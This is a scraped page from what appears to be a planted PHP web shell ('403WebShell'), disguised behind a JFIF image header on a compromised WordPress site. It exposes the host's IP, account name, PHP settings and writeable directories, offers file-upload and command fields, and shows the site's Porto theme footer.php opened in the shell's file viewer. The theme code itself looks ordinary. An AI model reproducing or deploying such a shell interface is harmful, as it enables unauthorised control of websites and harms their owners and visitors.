���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 91.108.106.14  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/essartindia.com/public_html/wp-content/themes/porto/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/essartindia.com/public_html/wp-content/themes/porto/footer.php
<?php
global $porto_settings, $porto_layout, $porto_block_template;

$default_layout = porto_meta_default_layout();
$wrapper        = porto_get_wrapper_type();
?>
		<?php get_sidebar(); ?>
		<?php
		if ( empty( $porto_block_template ) ) :
			?>
			<?php if ( porto_get_meta_value( 'footer', true ) ) : ?>

				<?php

				$cols = 0;
				for ( $i = 1; $i <= 4; $i++ ) {
					if ( is_registered_sidebar( 'content-bottom-' . $i ) && is_active_sidebar( 'content-bottom-' . $i ) ) {
						$cols++;
					}
				}

				if ( is_404() ) {
					$cols = 0;
				}

				if ( $cols ) :
					?>
					<?php if ( 'boxed' == $wrapper || 'fullwidth' == $porto_layout || 'left-sidebar' == $porto_layout || 'right-sidebar' == $porto_layout ) : ?>
						<div class="container sidebar content-bottom-wrapper">
						<?php
					else :
						if ( 'fullwidth' == $default_layout || 'left-sidebar' == $default_layout || 'right-sidebar' == $default_layout ) :
							?>
						<div class="container sidebar content-bottom-wrapper">
						<?php else : ?>
						<div class="container-fluid sidebar content-bottom-wrapper">
							<?php
						endif;
					endif;
					?>

					<div class="row">

						<?php
						$col_class = array();
						switch ( $cols ) {
							case 1:
								$col_class[1] = 'col-md-12';
								break;
							case 2:
								$col_class[1] = 'col-md-12';
								$col_class[2] = 'col-md-12';
								break;
							case 3:
								$col_class[1] = 'col-lg-4';
								$col_class[2] = 'col-lg-4';
								$col_class[3] = 'col-lg-4';
								break;
							case 4:
								$col_class[1] = 'col-lg-3';
								$col_class[2] = 'col-lg-3';
								$col_class[3] = 'col-lg-3';
								$col_class[4] = 'col-lg-3';
								break;
						}
						?>
							<?php
							$cols = 1;
							for ( $i = 1; $i <= 4; $i++ ) {
								if ( is_registered_sidebar( 'content-bottom-' . $i ) && is_active_sidebar( 'content-bottom-' . $i ) ) {
									?>
									<div class="<?php echo esc_attr( $col_class[ $cols++ ] ); ?>">
										<?php dynamic_sidebar( 'content-bottom-' . $i ); ?>
									</div>
									<?php
								}
							}
							?>

						</div>
					</div>
				<?php endif; ?>

				</div><!-- end main -->

				<?php
				do_action( 'porto_after_main' );
				$footer_view = porto_get_meta_value( 'footer_view' );
				?>

				<div class="footer-wrapper<?php echo 'wide' == $porto_settings['footer-wrapper'] ? ' wide' : '', $footer_view ? ' ' . esc_attr( $footer_view ) : '', isset( $porto_settings['footer-reveal'] ) && $porto_settings['footer-reveal'] ? ' footer-reveal' : ''; ?>">

					<?php if ( porto_get_wrapper_type() != 'boxed' && 'boxed' == $porto_settings['footer-wrapper'] ) : ?>
					<div id="footer-boxed">
					<?php endif; ?>
					<?php $footer_id = porto_check_builder_condition( 'footer' ); ?>
					<?php if ( ! $footer_id && empty( $porto_settings['elementor_pro_footer'] ) ) : ?>
						<?php if ( isset( $porto_footer_escaped ) ) : ?>
							<?php echo porto_filter_output( $porto_footer_escaped ); ?>
						<?php else : ?>
							<?php if ( is_registered_sidebar( 'footer-top' ) && is_active_sidebar( 'footer-top' ) && ! $footer_view ) : ?>
								<div class="footer-top">
									<div class="container">
										<?php dynamic_sidebar( 'footer-top' ); ?>
									</div>
								</div>
							<?php endif; ?>

							<?php
								get_template_part( 'footer/footer' );
							?>
						<?php endif; ?>
						<?php
							// Show tooltip to build with Porto Template Builder
							porto_add_block_tooltip( 'footer' ); 
					else :
						echo '<footer id="footer" class="footer footer-builder">';
						if ( ( ! empty( $porto_settings['show-footer-tooltip'] ) && $porto_settings['footer-tooltip'] ) || $porto_settings['footer-ribbon'] ) {
							echo '<div class="container z-index-1">';
							if ( $porto_settings['footer-ribbon'] ) :
								?>
								<div class="footer-ribbon"><?php echo wp_kses_post( $porto_settings['footer-ribbon'] ); ?></div>
								<?php
							endif;
							get_template_part( 'footer/footer_tooltip' );
							echo '</div>';
						}
						if ( empty( $porto_settings['elementor_pro_footer'] ) ) {
							echo do_shortcode( '[porto_block id="' . intval( $footer_id ) . '" tracking="layout-footer-' . intval( $footer_id ) . '"]' );
						} else {
							do_action( 'porto_elementor_pro_footer_location' );
						}
						echo '</footer>';
					endif;
					?>

					<?php if ( porto_get_wrapper_type() != 'boxed' && 'boxed' == $porto_settings['footer-wrapper'] ) : ?>
					</div>
					<?php endif; ?>

				</div>
				<?php
					get_template_part( 'footer/sticky-bottom' );
				?>
			<?php else : ?>

				</div><!-- end main -->

				<?php
				do_action( 'porto_after_main' );
			endif;
			?>

			<?php if ( 'side' == porto_get_header_type() ) : ?>
				</div>
			<?php endif; ?>
		<?php endif; ?>

	</div><!-- end wrapper -->
	<?php do_action( 'porto_after_wrapper' ); ?>

<?php
if ( isset( $porto_settings['mobile-panel-type'] ) && 'side' === $porto_settings['mobile-panel-type'] && empty( $porto_block_template ) ) {
	// navigation panel
	get_template_part( 'panel' );
}

// On load popup
$popup_id = porto_check_builder_condition( 'popup' );
if ( $popup_id && empty( $_COOKIE['porto_modal_disable_onload'] ) ) {
	if ( ( function_exists( 'porto_is_vc_preview' ) && ! porto_is_vc_preview() ) &&
		( function_exists( 'porto_is_elementor_preview' ) && ! porto_is_elementor_preview() ) &&
		( ( function_exists( 'vc_is_inline' ) && ! vc_is_inline() ) || ! function_exists( 'vc_is_inline ' ) ) ) {
		
		$popup_options = get_post_meta( $popup_id, 'popup_options', true );
		if ( ! ( empty( $popup_options ) && empty( get_post_meta( $popup_id, 'popup_animation', true ) ) ) ) {
			if ( empty( $popup_options ) ) {
				$popup_options = array(
					'horizontal' => 50,
					'vertical'   => 50,
				);
				if ( ! empty( get_post_meta( $popup_id, 'popup_animation', true ) ) ) {
					$popup_options['animation'] = get_post_meta( $popup_id, 'popup_animation', true );
				}
				if ( ! empty( get_post_meta( $popup_id, 'popup_width', true ) ) ) {
					$popup_options['width'] = (int) get_post_meta( $popup_id, 'popup_width', true );
				}
				if ( ! empty( get_post_meta( $popup_id, 'load_duration', true ) ) ) {
					$popup_options['load_duration'] = (int) get_post_meta( $popup_id, 'load_duration', true );
				}
				if ( ! empty( get_post_meta( $popup_id, 'disable_popup_period', true ) ) ) {
					$popup_options['popup_period'] = get_post_meta( $popup_id, 'disable_popup_period', true );
				}
				if ( ! empty( get_post_meta( $popup_id, 'enable_exit_intent', true ) ) ) {
					$popup_options['enable_exit_intent'] = get_post_meta( $popup_id, 'enable_exit_intent', true );
				}
			}
			$return = false;
			if ( ! empty( $_COOKIE[ 'porto_modal_disable_period_onload_' . $popup_id ] ) ) {
				if ( isset( $popup_options['popup_period'] ) && $popup_options['popup_period'] == $_COOKIE[ 'porto_modal_disable_period_onload_' . $popup_id ] ) {
					$return = true;
				} else {
					setcookie('porto_modal_disable_period_onload_' . $popup_id , '', time()-3600 );
				}
			}
			if ( ! $return ) {
				$style = '';
				if ( empty( $popup_options['builder'] ) ) {
		
					$style .= 'width: calc(100% - ' . ( empty( $porto_settings['grid-gutter-width'] ) ? '30' : (int) $porto_settings['grid-gutter-width'] ) . 'px); max-width: ' . (int) $popup_options['width'] . 'px; ';
		
					if ( is_rtl() ) {
						$left  = 'right';
						$right = 'left';
					} else {
						$left  = 'left';
						$right = 'right';
					}

					if ( 50 === (int) $popup_options['horizontal'] ) {
						if ( 50 === (int) $popup_options['vertical'] ) {
							$style .= 'left: 50%;top: 50%;transform: translate(-50%, -50%);';
						} else {
							$style .= 'left: 50%;transform: translateX(-50%);';
						}
					} elseif ( 50 > (int) $popup_options['horizontal'] ) {
						$style .= $left . ':' . $popup_options['horizontal'] . '%;';
					} else {
						$style .= $right . ':' . ( 100 - $popup_options['horizontal'] ) . '%;';
					}
					if ( 50 === (int) $popup_options['vertical'] ) {
						if ( 50 !== (int) $popup_options['horizontal'] ) {
							$style .= 'top: 50%;transform: translateY(-50%);';
						}
					} elseif ( 50 > (int) $popup_options['vertical'] ) {
						$style .= 'top:' . $popup_options['vertical'] . '%;';
					} else {
						$style .= 'bottom:' . ( 100 - $popup_options['vertical'] ) . '%;';
					}
				}
				if ( ! empty( $popup_options['enable_exit_intent'] ) ) {
				
					wp_enqueue_script( 'porto-ouibounce', PORTO_JS . '/libs/ouibounce.min.js', array(), PORTO_VERSION, true );
					?>
					<script>
						document.addEventListener( 'DOMContentLoaded', function( e ) {
							var _ouibounce = ouibounce( document.getElementById( '.bounce-popup' ), {
								aggressive: true,
								timer: 800,
								callback: function() { 
									if ( typeof theme.porto_modal_open == 'function' ) {
										theme.porto_modal_open( jQuery( '[data-trigger-id="popup-builder"]' ) )
									}
								}
							} );
						} );
					</script>
					<?php
					$html  = '<div data-trigger-id="popup-builder" data-extra-class="popup-builder " data-type="inline" class="porto-exit-intent" data-popup-id="' . $popup_id . '" data-overlay-class="' . esc_attr( $popup_options['animation'] ) . '"' . ( isset( $popup_options['popup_period'] ) ? ' data-expired="' . $popup_options['popup_period'] . '"' : '' ) . '></div>';
				} else {
					$html  = '<div data-trigger-id="popup-builder" data-extra-class="popup-builder " data-type="inline" class="porto-modal-trigger porto-onload" data-popup-id="' . $popup_id . '" data-overlay-class="' . esc_attr( $popup_options['animation'] ) . '"' . ( isset( $popup_options['load_duration'] ) ? '  data-timeout="' . $popup_options['load_duration'] . '"' : '' ) . ( isset( $popup_options['popup_period'] ) ? ' data-expired="' . $popup_options['popup_period'] . '"' : '' ) . '></div>';
				}
				$html .= '<div class="mfp-hide ' . ( empty( $popup_options['builder'] ) ? 'position-absolute' : '' ) . '" id="popup-builder" style="' . $style . '" >';
				$html .= do_shortcode( '[porto_block id="' . intval( $popup_id ) . '" tracking="layout-popup-' . intval( $popup_id ) . '"]' );
				$html .= '</div>';
				echo porto_filter_output( $html );
			}
		}

	}
}

if ( ! isset( $porto_footer_escaped ) && empty( $porto_block_template ) ) {
	wp_footer();
	echo "</body>\n</html>";
}

Youez - 2016 - github.com/yon3zu
LinuXploit